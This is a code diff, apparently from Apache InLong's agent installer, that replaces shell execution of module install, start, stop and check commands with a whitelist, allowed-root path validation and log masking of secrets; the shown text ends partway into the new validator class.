+        Assert.assertNull(ExecuteLinux.exeCmd(new String[]{}));
+    }
+}
\ No newline at end of file
diff --git 
a/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java
 
b/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java
index 314fe5e669..b3a7a69adc 100644
--- 
a/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java
+++ 
b/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java
@@ -23,7 +23,7 @@ import org.apache.inlong.agent.core.task.OffsetManager;
 import org.apache.inlong.agent.core.task.TaskManager;
 import org.apache.inlong.agent.metrics.audit.AuditUtils;
 import org.apache.inlong.agent.utils.AgentUtils;
-import org.apache.inlong.agent.utils.ExcuteLinux;
+import org.apache.inlong.agent.utils.ExecuteLinux;
 import org.apache.inlong.sdk.dataproxy.common.ProcessResult;
 import org.apache.inlong.sdk.dataproxy.sender.tcp.TcpEventInfo;
 import org.apache.inlong.sdk.dataproxy.sender.tcp.TcpMsgSender;
@@ -140,7 +140,12 @@ public class AgentStatusManager {
     public static AtomicLong sendDataLen = new AtomicLong();
     public static AtomicLong sendPackageCount = new AtomicLong();
     private String processStartupTime = 
format.format(runtimeMXBean.getStartTime());
-    private String systemStartupTime = ExcuteLinux.exeCmd("uptime 
-s").replaceAll("\r|\n", "");
+    private String systemStartupTime = safeUptime();
+
+    private static String safeUptime() {
+        String r = ExecuteLinux.exeCmd(new String[]{"uptime", "-s"});
+        return r == null ? "" : r.replaceAll("\r|\n", "");
+    }
 
     private AgentStatusManager(AgentManager agentManager) {
         this.conf = AgentConfiguration.getAgentConf();
diff --git a/inlong-agent/agent-installer/conf/installer.properties 
b/inlong-agent/agent-installer/conf/installer.properties
index aed969cb09..7a230558a8 100755
--- a/inlong-agent/agent-installer/conf/installer.properties
+++ b/inlong-agent/agent-installer/conf/installer.properties
@@ -38,4 +38,29 @@ agent.cluster.name=default_agent
 # audit config
 ############################
 # whether to enable audit
-audit.enable=true
\ No newline at end of file
+audit.enable=true
+
+############################
+# command security: extra allowed root directories
+# Write commands (rm, cp, mv, mkdir, ln, chmod, chown, tar, unzip) can only 
operate
+# on paths within built-in roots: $user.home/inlong, $user.home/inlong-agent,
+# agent.home, $java.io.tmpdir. Append comma-separated paths for custom 
deployments.
+# installer.command.extraAllowedRoots=/opt/inlong,/data/inlong
+############################
+
+############################
+# command security: extra argv[0] whitelist commands
+# Built-in whitelist: cd, sh, bash, ps, grep, awk, kill, rm, mkdir, cp, mv, 
ln, tar,
+#   unzip, chmod, chown, echo, cat, test, [, true, false, java.
+# Append comma-separated command names. Entries with whitespace, path 
separators, or
+# shell metacharacters (; | & > < $ ` / \) are rejected with a WARN.
+# installer.command.extraCommandWhitelist=nohup,python3
+############################
+
+############################
+# command security: extra write-like commands subject to allowed-root checks
+# Built-in set: rm, cp, mv, mkdir, ln, chmod, chown, tar, unzip.
+# Append comma-separated command names. The command must also be present in the
+# whitelist (built-in + extra); otherwise only a WARN is logged and the check 
is
+# skipped.
+# installer.command.extraWriteLikeCommands=dd,truncate
\ No newline at end of file
diff --git 
a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java
 
b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java
index cae8b25f68..5ba7df075d 100755
--- 
a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java
+++ 
b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java
@@ -20,9 +20,13 @@ package org.apache.inlong.agent.installer;
 import org.apache.inlong.agent.common.AbstractDaemon;
 import org.apache.inlong.agent.constant.AgentConstants;
 import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+import org.apache.inlong.agent.installer.validator.AllowedRootsResolver;
+import org.apache.inlong.agent.installer.validator.ModuleCommandValidator;
+import 
org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ParsedSubCmd;
+import 
org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ValidationResult;
 import org.apache.inlong.agent.metrics.audit.AuditUtils;
 import org.apache.inlong.agent.utils.AgentUtils;
-import org.apache.inlong.agent.utils.ExcuteLinux;
+import org.apache.inlong.agent.utils.ExecuteLinux;
 import org.apache.inlong.agent.utils.HttpManager;
 import org.apache.inlong.agent.utils.ThreadUtils;
 import org.apache.inlong.common.pojo.agent.installer.ConfigResult;
@@ -53,12 +57,14 @@ import java.net.URLConnection;
 import java.nio.charset.StandardCharsets;
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
 import java.util.List;
 import java.util.Map;
 import java.util.Objects;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.ConcurrentHashMap;
 import java.util.concurrent.LinkedBlockingQueue;
+import java.util.regex.Pattern;
 import java.util.stream.Collectors;
 
 import static 
org.apache.inlong.agent.constant.FetcherConstants.AGENT_MANAGER_ADDR;
@@ -81,6 +87,10 @@ public class ModuleManager extends AbstractDaemon {
     private static final Logger LOGGER = 
LoggerFactory.getLogger(ModuleManager.class);
     public static final int MAX_MODULE_SIZE = 10;
     public static final int CHECK_PROCESS_TIMES = 20;
+    /** Sensitive-word masking pattern; a defensive net that keeps sensitive 
fields out of
+     * command logs even if a future config path leaks them. */
+    private static final Pattern SENSITIVE_PATTERN = Pattern.compile(
+            "(?i)(password|secret|token|key)\\s*[=:]\\s*\\S+");
     private final InstallerConfiguration conf;
     private final String confPath;
     private final BlockingQueue<ConfigResult> configQueue;
@@ -90,11 +100,13 @@ public class ModuleManager extends AbstractDaemon {
     private static final GsonBuilder gsonBuilder = new 
GsonBuilder().setDateFormat("yyyy-MM-dd HH:mm:ss");
     private static final Gson GSON = gsonBuilder.create();
     private HttpManager httpManager;
+    private final ModuleCommandValidator commandValidator;
 
     public ModuleManager() {
         conf = InstallerConfiguration.getInstallerConf();
         confPath = conf.get(AgentConstants.AGENT_HOME, 
AgentConstants.DEFAULT_AGENT_HOME) + "/conf/";
         configQueue = new LinkedBlockingQueue<>(CONFIG_QUEUE_CAPACITY);
+        commandValidator = new 
ModuleCommandValidator(AllowedRootsResolver.build(conf));
         if (!requiredKeys(conf)) {
             throw new RuntimeException("init module manager error, cannot find 
required key");
         }
@@ -485,16 +497,20 @@ public class ModuleManager extends AbstractDaemon {
     }
 
     private void installModule(ModuleConfig module) {
-        LOGGER.info("install module {}({}) with cmd {}", module.getId(), 
module.getName(), module.getInstallCommand());
-        String ret = ExcuteLinux.exeCmd(module.getInstallCommand());
-        LOGGER.info("install module {}({}) return {} ", module.getId(), 
module.getName(), ret);
+        LOGGER.info("install module {}({}) with cmd {}", module.getId(), 
module.getName(),
+                sanitize(module.getInstallCommand()));
+        runValidatedCommand(module, "install", module.getInstallCommand());
     }
 
     private boolean startModule(ModuleConfig module) {
-        LOGGER.info("start module {}({}) with cmd {}", module.getId(), 
module.getName(), module.getStartCommand());
+        LOGGER.info("start module {}({}) with cmd {}", module.getId(), 
module.getName(),
+                sanitize(module.getStartCommand()));
         for (int i = 0; i < module.getProcessesNum(); i++) {
-            String ret = ExcuteLinux.exeCmd(module.getStartCommand());
-            LOGGER.info("start module {}({}) proc[{}] return {} ", 
module.getId(), module.getName(), i, ret);
+            CommandExecResult ret = runValidatedCommand(module, "start[" + i + 
"]", module.getStartCommand());
+            if (LOGGER.isDebugEnabled()) {
+                LOGGER.debug("start module {}({}) proc[{}] stdout={}", 
module.getId(), module.getName(), i,
+                        truncate(ret.stdout));
+            }
         }
         if (isProcessAllStarted(module, CHECK_PROCESS_TIMES)) {
             LOGGER.info("start module {}({}) success", module.getId(), 
module.getName());
@@ -506,27 +522,26 @@ public class ModuleManager extends AbstractDaemon {
     }
 
     private void stopModule(ModuleConfig module) {
-        LOGGER.info("stop module {}({}) with cmd {}", module.getId(), 
module.getName(), module.getStopCommand());
-        String ret = ExcuteLinux.exeCmd(module.getStopCommand());
-        LOGGER.info("stop module {}({}) return {} ", module.getId(), 
module.getName(), ret);
+        LOGGER.info("stop module {}({}) with cmd {}", module.getId(), 
module.getName(),
+                sanitize(module.getStopCommand()));
+        runValidatedCommand(module, "stop", module.getStopCommand());
     }
 
     private void uninstallModule(ModuleConfig module) {
         LOGGER.info("uninstall module {}({}) with cmd {}", module.getId(), 
module.getName(),
-                module.getUninstallCommand());
-        String ret = ExcuteLinux.exeCmd(module.getUninstallCommand());
-        LOGGER.info("uninstall module {}({}) return {} ", module.getId(), 
module.getName(), ret);
+                sanitize(module.getUninstallCommand()));
+        runValidatedCommand(module, "uninstall", module.getUninstallCommand());
     }
 
     private boolean isProcessAllStarted(ModuleConfig module, int times) {
         for (int check = 0; check < times; check++) {
             AgentUtils.silenceSleepInSeconds(1);
-            String ret = ExcuteLinux.exeCmd(module.getCheckCommand());
-            if (ret == null) {
+            CommandExecResult ret = runValidatedCommand(module, "check", 
module.getCheckCommand());
+            if (!ret.success || ret.stdout == null) {
                 LOGGER.error("[{}] get module {}({}) process num failed", 
check, module.getId(), module.getName());
                 continue;
             }
-            String[] processArray = ret.split("\n");
+            String[] processArray = ret.stdout.split("\n");
             int cnt = 0;
             for (int i = 0; i < processArray.length; i++) {
                 if (processArray[i].length() > 0) {
@@ -541,6 +556,114 @@ public class ModuleManager extends AbstractDaemon {
         return false;
     }
 
+    // 
=========================================================================
+    // Unified execution path with validation applied to every command.
+    // 
=========================================================================
+
+    /**
+     * Result of a single command execution. {@link #success} is {@code true} 
when every
+     * sub-command exited with code 0; {@link #stdout} carries the stdout of 
the last
+     * sub-command.
+     */
+    private static final class CommandExecResult {
+
+        final boolean success;
+        final String stdout;
+
+        CommandExecResult(boolean success, String stdout) {
+            this.success = success;
+            this.stdout = stdout;
+        }
+    }
+
+    /**
+     * Validate a raw command from {@link ModuleConfig} through {@link 
ModuleCommandValidator}
+     * and, on success, execute the resulting sub-commands one by one. On 
rejection, timeout
+     * or non-zero exit, log the failure and return failure. This method never 
falls back to
+     * {@code sh -c}.
+     */
+    private CommandExecResult runValidatedCommand(ModuleConfig module, String 
cmdName, String rawCmd) {
+        ValidationResult vr = commandValidator.validate(rawCmd);
+        if (!vr.isOk()) {
+            // Rejection path: log ERROR with module id/name, cmd name, rule 
name, offending
+            // sub-command and the original raw command.
+            LOGGER.error("REJECT command moduleId={} moduleName={} cmdName={} 
rule={} failedSub={} rawCmd={} msg={}",
+                    module.getId(), module.getName(), cmdName, 
vr.getRuleName(),
+                    sanitize(vr.getFailedSubCmd()), sanitize(rawCmd), 
vr.getMessage());
+            return new CommandExecResult(false, null);
+        }
+        List<ParsedSubCmd> parsed = vr.getParsed();
+        String lastStdout = "";
+        for (ParsedSubCmd sub : parsed) {
+            long startNs = System.nanoTime();
+            String stdout;
+            if (sub.isPiped()) {
+                // Piped sub-command: chain multiple ProcessBuilder instances 
on the Java side
+                // via exePipedCmd.
+                stdout = ExecuteLinux.exePipedCmd(sub.getPipeline(), 
sub.getWorkDir(),
+                        ExecuteLinux.DEFAULT_TIMEOUT_MS);
+            } else {
+                stdout = 
ExecuteLinux.exeCmd(java.util.Arrays.asList(sub.getArgv()), sub.getWorkDir(),
+                        ExecuteLinux.DEFAULT_TIMEOUT_MS);
+            }
+            long costMs = (System.nanoTime() - startNs) / 1_000_000L;
+
+            if (stdout == null) {
+                // Failure/timeout path: ERROR (stderr summary is already 
logged inside
+                // ExecuteLinux, truncated).
+                LOGGER.error("FAIL command moduleId={} moduleName={} 
cmdName={} sub={} costMs={} (stdout=null)",
+                        module.getId(), module.getName(), cmdName, 
describeSub(sub), costMs);
+                if (!sub.isAllowFailure()) {
+                    return new CommandExecResult(false, null);
+                }
+            } else {
+                // Success path: INFO with argv form and cost, DEBUG with a 
stdout summary.
+                LOGGER.info("OK command moduleId={} moduleName={} cmdName={} 
sub={} costMs={}",
+                        module.getId(), module.getName(), cmdName, 
describeSub(sub), costMs);
+                if (LOGGER.isDebugEnabled()) {
+                    LOGGER.debug("OK command moduleId={} cmdName={} stdout={}",
+                            module.getId(), cmdName, truncate(stdout));
+                }
+                lastStdout = stdout;
+            }
+        }
+        return new CommandExecResult(true, lastStdout);
+    }
+
+    /**
+     * Format a parsed sub-command for logs, e.g. {@code [cmd, arg1, arg2] @ 
workDir}.
+     */
+    private static String describeSub(ParsedSubCmd sub) {
+        List<List<String>> readable = new 
ArrayList<>(sub.getPipeline().size());
+        for (String[] seg : sub.getPipeline()) {
+            readable.add(java.util.Arrays.asList(seg));
+        }
+        String pipelineStr = readable.size() == 1 ? readable.get(0).toString() 
: readable.toString();
+        return sub.getWorkDir() == null
+                ? pipelineStr
+                : (pipelineStr + " @ " + sub.getWorkDir());
+    }
+
+    /** Truncate a stderr/stdout summary to 1KB so it does not swamp INFO 
logs. */
+    private static String truncate(String s) {
+        if (s == null) {
+            return "";
+        }
+        return s.length() <= 1024 ? s : (s.substring(0, 1024) + 
"...(truncated)");
+    }
+
+    /**
+     * Best-effort masking of {@code password=xxx} / {@code token: yyy} style 
values in log
+     * output. The current commands do not carry such tokens, but this keeps a 
defensive net
+     * in place for future changes.
+     */
+    private static String sanitize(String s) {
+        if (s == null) {
+            return null;
+        }
+        return SENSITIVE_PATTERN.matcher(s).replaceAll("$1=***");
+    }
+
     private boolean downloadModule(ModuleConfig module) {
         LOGGER.info("download module {}({}) begin with url {}", 
module.getId(), module.getName(),
                 module.getPackageConfig().getDownloadUrl());
diff --git 
a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java
 
b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java
new file mode 100644
index 0000000000..ddfdfb4740
--- /dev/null
+++ 
b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java
@@ -0,0 +1,260 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.inlong.agent.installer.validator;
+
+import org.apache.inlong.agent.constant.AgentConstants;
+import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+
+import lombok.Getter;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Collections;
+import java.util.LinkedHashSet;
+import java.util.Set;
+
+/**
+ * Resolves the whitelist of root directories under which write-oriented 
commands
+ * (e.g. {@code rm/cp/mv/mkdir/ln/chmod/chown/tar/unzip}) are allowed to 
operate. Paths are
+ * compared with normalized {@link Path#startsWith(Path)}, which naturally 
rejects traversal
+ * attempts such as {@code ~/inlong/../../../etc}.
+ *
+ * <p>Default roots: {@code $user.home/inlong}, {@code 
$user.home/inlong-agent},
+ * {@code agent.home} (from {@code -Dagent.home} JVM property or {@code 
installer.properties}),
+ * {@code $java.io.tmpdir}. Extra roots may be appended via the configuration 
key
+ * {@code installer.command.extraAllowedRoots} (comma separated).
+ */
+@Getter
+public final class AllowedRootsResolver {
+
+    /** Configuration key for extra allowed root directories (comma 
separated). */
+    public static final String KEY_EXTRA_ALLOWED_ROOTS = 
"installer.command.extraAllowedRoots";
+
+    private static final Logger LOGGER = 
LoggerFactory.getLogger(AllowedRootsResolver.class);
+
+    private static volatile AllowedRootsResolver instance;
+
+    /**
+     * -- GETTER --
+     * Return the immutable set of roots, mainly for logging and tests.
+     */
+    private final Set<Path> roots;
+
+    private AllowedRootsResolver(Set<Path> roots) {
+        this.roots = Collections.unmodifiableSet(roots);
+    }
+
+    /** Build an instance from the given path set (normalized). Intended 
primarily for tests. */
+    public static AllowedRootsResolver ofPaths(Path... paths) {
+        Set<Path> roots = new LinkedHashSet<>();
+        if (paths != null) {
+            for (Path p : paths) {
+                addRoot(roots, p);
+            }
+        }
+        return new AllowedRootsResolver(roots);
+    }
+
+    /** Return the default singleton, backed by {@link 
InstallerConfiguration}. */
+    public static AllowedRootsResolver getDefault() {
+        if (instance == null) {
+            synchronized (AllowedRootsResolver.class) {
+                if (instance == null) {
+                    instance = 
build(InstallerConfiguration.getInstallerConf());
+                }
+            }
+        }
+        return instance;
+    }
+
+    /** Build an instance from the given configuration. */
+    public static AllowedRootsResolver build(InstallerConfiguration conf) {
+        Set<Path> roots = new LinkedHashSet<>();
+
+        String userHome = System.getProperty("user.home");
+        if (StringUtils.isNotBlank(userHome)) {
+            addRoot(roots, Paths.get(userHome, "inlong"));
+            addRoot(roots, Paths.get(userHome, "inlong-agent"));
+            addRoot(roots, Paths.get(userHome, "tmp"));
+        }
+
+        // agent.home resolution: -Dagent.home JVM system property first, then 
the same key
+        // from installer.properties as an override.
+        String agentHome = System.getProperty(AgentConstants.AGENT_HOME);
+        if (conf != null) {
+            String fromConf = conf.get(AgentConstants.AGENT_HOME, null);
+            if (StringUtils.isNotBlank(fromConf)) {
+                agentHome = fromConf;
+            }
+        }
+        if (StringUtils.isNotBlank(agentHome)) {
+            addRoot(roots, Paths.get(agentHome));
+        }
+
+        String tmpDir = System.getProperty("java.io.tmpdir");
+        if (StringUtils.isNotBlank(tmpDir)) {
+            addRoot(roots, Paths.get(tmpDir));
+        }
+
+        if (conf != null) {
+            String extra = conf.get(KEY_EXTRA_ALLOWED_ROOTS, "");
+            if (StringUtils.isNotBlank(extra)) {
+                for (String item : extra.split(",")) {
+                    String trimmed = item == null ? "" : item.trim();
+                    if (StringUtils.isNotBlank(trimmed)) {
+                        addRoot(roots, Paths.get(trimmed));
+                    }
+                }
+            }
+        }
+
+        LOGGER.info("AllowedRootsResolver initialized with roots: {}", roots);
+        return new AllowedRootsResolver(roots);
+    }
+
+    /**
+     * Store a root in two forms:
+     *  1) lexical form ({@code normalize()}, does not follow symlinks)
+     *  2) real form ({@code toRealPath()}, follows symlinks)
+     * If the root does not yet exist, splice the non-existent remainder onto 
the real path
+     * of the nearest existing ancestor to obtain the real form.
+     * Keeping both forms lets later comparisons succeed regardless of which 
form the
+     * path under test arrives in.
+     */
+    private static void addRoot(Set<Path> roots, Path p) {
+        if (p == null) {
+            return;
+        }
+        Path absolute = p.toAbsolutePath();
+        roots.add(absolute.normalize());
+        try {
+            roots.add(absolute.toRealPath());
+        } catch (IOException e) {
+            Path existingAncestor = absolute;
+            while (existingAncestor != null && 
!Files.exists(existingAncestor)) {
+                existingAncestor = existingAncestor.getParent();
+            }
+            if (existingAncestor != null) {
+                try {
+                    Path realAncestor = existingAncestor.toRealPath();
+                    Path remainder = existingAncestor.relativize(absolute);
+                    roots.add(realAncestor.resolve(remainder).normalize());
+                } catch (IOException ignored) {
+                    // Real path unresolvable; keep only the lexical form.
+                }
+            }
+        }
+    }
+
+    /**
+     * Test whether the given path lies under any allowed root (equal to a 
root also counts).
+     * Three branches:
+     *  ① Path fully exists: compare via {@code toRealPath()}; most reliable.
+     *  ② Path partially non-existent (e.g. mkdir target): splice the real 
path of the
+     *     nearest existing ancestor with the non-existent remainder and 
compare.
+     *     If no match and a symlink was followed on the way up (realParent 
differs from
+     *     the lexical form), treat it as a symlink escape and reject 
outright; the
+     *     lexical fallback is skipped.
+     *  ③ Fully non-existent, or step ② without following a symlink: fall back 
to a
+     *     lexical comparison via {@code normalize()}.
+     *
+     * @param p a path; it is made absolute internally before the comparison.
+     */
+    public boolean isUnderAllowedRoot(Path p) {
+        if (p == null) {
+            return false;
+        }
+        Path absolute = p.toAbsolutePath();
+
+        // ① Path exists: resolve symlinks and compare directly.
+        try {
+            Path real = absolute.toRealPath();
+            for (Path root : roots) {
+                if (real.startsWith(root)) {
+                    return true;
+                }
+            }
+            return false;
+        } catch (IOException e) {
+            // Path does not exist yet; fall through to ② / ③.
+        }
+
+        Path existingParent = findExistingParent(absolute);
+        if (existingParent == null) {
+            // No part of the path exists; only a lexical comparison is 
possible.
+            Path normalized = absolute.normalize();
+            for (Path root : roots) {
+                if (normalized.startsWith(root)) {
+                    return true;
+                }
+            }
+            return false;
+        }
+
+        // ② Splice the real path of the nearest existing ancestor with the 
remainder.
+        boolean realPathDiffers = false;
+        try {
+            Path realParent = existingParent.toRealPath();
+            Path remainder = existingParent.relativize(absolute);
+            Path resolved = realParent.resolve(remainder).normalize();
+            for (Path root : roots) {
+                if (resolved.startsWith(root)) {
+                    return true;
+                }
+            }
+            // Was a symlink followed on the way up? If so, skip the lexical 
fallback
+            // to prevent symlink escape.
+            realPathDiffers = !realParent.equals(existingParent.normalize());
+        } catch (IOException ex) {
+            LOGGER.warn("Cannot resolve real path for existing parent: {}", 
existingParent, ex);
+        }
+        if (realPathDiffers) {
+            return false;
+        }
+
+        // ③ Lexical fallback: covers the case where the root was stored only 
in
+        // normalized form (e.g. it did not exist at addRoot() time).
+        Path normalized = absolute.normalize();
+        for (Path root : roots) {
+            if (normalized.startsWith(root)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Walk up the directory tree to find the nearest ancestor that actually 
exists.
+     *
+     * @param path an absolute path
+     * @return the nearest existing ancestor, or {@code null} if no part of 
the path exists
+     */
+    private Path findExistingParent(Path path) {
+        Path current = path;
+        while (current != null && !Files.exists(current)) {
+            current = current.getParent();
+        }
+        return current;
+    }
+
+}
diff --git 
a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java
 
b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java
new file mode 100644
index 0000000000..e754d0dbb6
--- /dev/null
+++ 
b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java
@@ -0,0 +1,166 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.inlong.agent.installer.validator;
+
+import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+
+import lombok.Getter;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.TreeSet;
+
+/**
+ * Resolves the effective command whitelist and write-like command sets by 
merging
+ * built-in baselines with deployer-supplied extras.
+ *
+ * <p>Extras are supplied via {@value #KEY_EXTRA_COMMAND_WHITELIST} and
+ * {@value #KEY_EXTRA_WRITE_LIKE_COMMANDS} (comma-separated). Entries 
containing
+ * whitespace, path separators, or shell metacharacters are dropped to prevent
+ * config-source injection.
+ *
+ * <p>Default singleton backed by {@link InstallerConfiguration}.
+ */
+@Getter
+public final class CommandWhitelistResolver {
+
+    /** Config key for extra argv[0] whitelist entries (comma-separated). */
+    public static final String KEY_EXTRA_COMMAND_WHITELIST = 
"installer.command.extraCommandWhitelist";
+    /** Config key for extra write-like commands subject to allowed-root 
checks. */
+    public static final String KEY_EXTRA_WRITE_LIKE_COMMANDS = 
"installer.command.extraWriteLikeCommands";
+
+    /** Baseline argv[0] whitelist. */
+    public static final Set<String> BASELINE_COMMAND_WHITELIST = 
buildImmutableSet(
+            "cd", "sh", "bash", "ps", "grep", "awk", "kill", "rm", "mkdir", 
"cp", "mv", "ln",
+            "tar", "unzip", "chmod", "chown", "echo", "cat", "test", "[", 
"true", "false", "java");
+
+    /** Baseline write-like commands whose path arguments trigger allowed-root 
checks. */
+    public static final Set<String> BASELINE_WRITE_LIKE_COMMANDS = 
buildImmutableSet(
+            "rm", "cp", "mv", "mkdir", "ln", "chmod", "chown", "tar", "unzip");
+
+    private static final Logger LOGGER = 
LoggerFactory.getLogger(CommandWhitelistResolver.class);
+
+    /**
+     * Substring blacklist shared by command-level metacharacter scan and
+     * whitelist-entry validation. Includes glob wildcards ({@code *}, {@code 
?})
+     * because {@link ProcessBuilder} does not perform glob expansion.
+     */
+    public static final String[] META_CHAR_BLACKLIST = {
+            "`", "$(", "${", "&&", "||", ">>", ">", "<", "\\", "\u0000", "*", 
"?"
+    };
+
+    /**
+     * Superset of {@link #META_CHAR_BLACKLIST} used for whitelist-entry 
validation.
+     * Adds characters legal in a command string (path separators, delimiters 
consumed
+     * by the split layer, whitespace) but never legal in a bare command name.
+     */
+    private static final String[] ENTRY_ILLEGAL_SUBSTRINGS = 
concat(META_CHAR_BLACKLIST,
+            " ", "\t", "/", ";", "|");
+
+    private static String[] concat(String[] a, String... b) {
+        String[] r = new String[a.length + b.length];
+        System.arraycopy(a, 0, r, 0, a.length);
+        System.arraycopy(b, 0, r, a.length, b.length);
+        return r;
+    }
+
+    private static volatile CommandWhitelistResolver instance;
+
+    private final Set<String> effectiveCommandWhitelist;
+    private final Set<String> effectiveWriteLikeCommands;
+
+    private CommandWhitelistResolver(Set<String> argv0, Set<String> writeLike) 
{
+        this.effectiveCommandWhitelist = Collections.unmodifiableSet(argv0);
+        this.effectiveWriteLikeCommands = 
Collections.unmodifiableSet(writeLike);
+    }
+
+    /** Return the default singleton backed by {@link InstallerConfiguration}. 
*/
+    public static CommandWhitelistResolver getDefault() {
+        if (instance == null) {
+            synchronized (CommandWhitelistResolver.class) {
+                if (instance == null) {
+                    instance = 
build(InstallerConfiguration.getInstallerConf());
+                }
+            }
+        }
+        return instance;
+    }
+
+    /** Build from configuration, merging baselines with extra entries from 
config. */
+    public static CommandWhitelistResolver build(InstallerConfiguration conf) {
+        Set<String> argv0 = new LinkedHashSet<>(BASELINE_COMMAND_WHITELIST);
+        Set<String> writeLike = new 
LinkedHashSet<>(BASELINE_WRITE_LIKE_COMMANDS);
+        if (conf != null) {
+            argv0.addAll(parseConfigList(conf.get(KEY_EXTRA_COMMAND_WHITELIST, 
"")));
+            for (String extra : 
parseConfigList(conf.get(KEY_EXTRA_WRITE_LIKE_COMMANDS, ""))) {
+                writeLike.add(extra);
+                if (!argv0.contains(extra)) {
+                    LOGGER.warn("'{}' listed in {} but not in argv[0] 
whitelist; "
+                            + "write-like path check will not fire for it.",
+                            extra, KEY_EXTRA_WRITE_LIKE_COMMANDS);
+                }
+            }
+        }
+        LOGGER.info("CommandWhitelistResolver initialized: argv0Whitelist={}, 
writeLikeCommands={}",
+                new TreeSet<>(argv0), new TreeSet<>(writeLike));
+        return new CommandWhitelistResolver(argv0, writeLike);
+    }
+
+    private static Set<String> buildImmutableSet(String... items) {
+        Set<String> s = new HashSet<>(items.length * 2);
+        Collections.addAll(s, items);
+        return Collections.unmodifiableSet(s);
+    }
+
+    /** Split comma-separated config value, dropping blank and illegal 
entries. */
+    public static List<String> parseConfigList(String raw) {
+        List<String> out = new ArrayList<>();
+        if (StringUtils.isBlank(raw)) {
+            return out;
+        }
+        for (String item : raw.split(",")) {
+            String trimmed = item.trim();
+            if (trimmed.isEmpty()) {
+                continue;
+            }
+            String reason = firstIllegalReason(trimmed);
+            if (reason != null) {
+                LOGGER.warn("Dropping illegal config entry '{}': {}", trimmed, 
reason);
+                continue;
+            }
+            out.add(trimmed);
+        }
+        return out;
+    }
+
+    private static String firstIllegalReason(String entry) {
+        for (String s : ENTRY_ILLEGAL_SUBSTRINGS) {
+            if (entry.contains(s)) {
+                return "contains '" + s + "'";
+            }
+        }
+        return null;
+    }
+}
diff --git 
a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java
 
b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java
new file mode 100644
index 0000000000..b5a1d9077f
--- /dev/null
+++ 
b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java
@@ -0,0 +1,507 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.inlong.agent.installer.validator;
+
+import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+
+import lombok.Getter;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.File;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
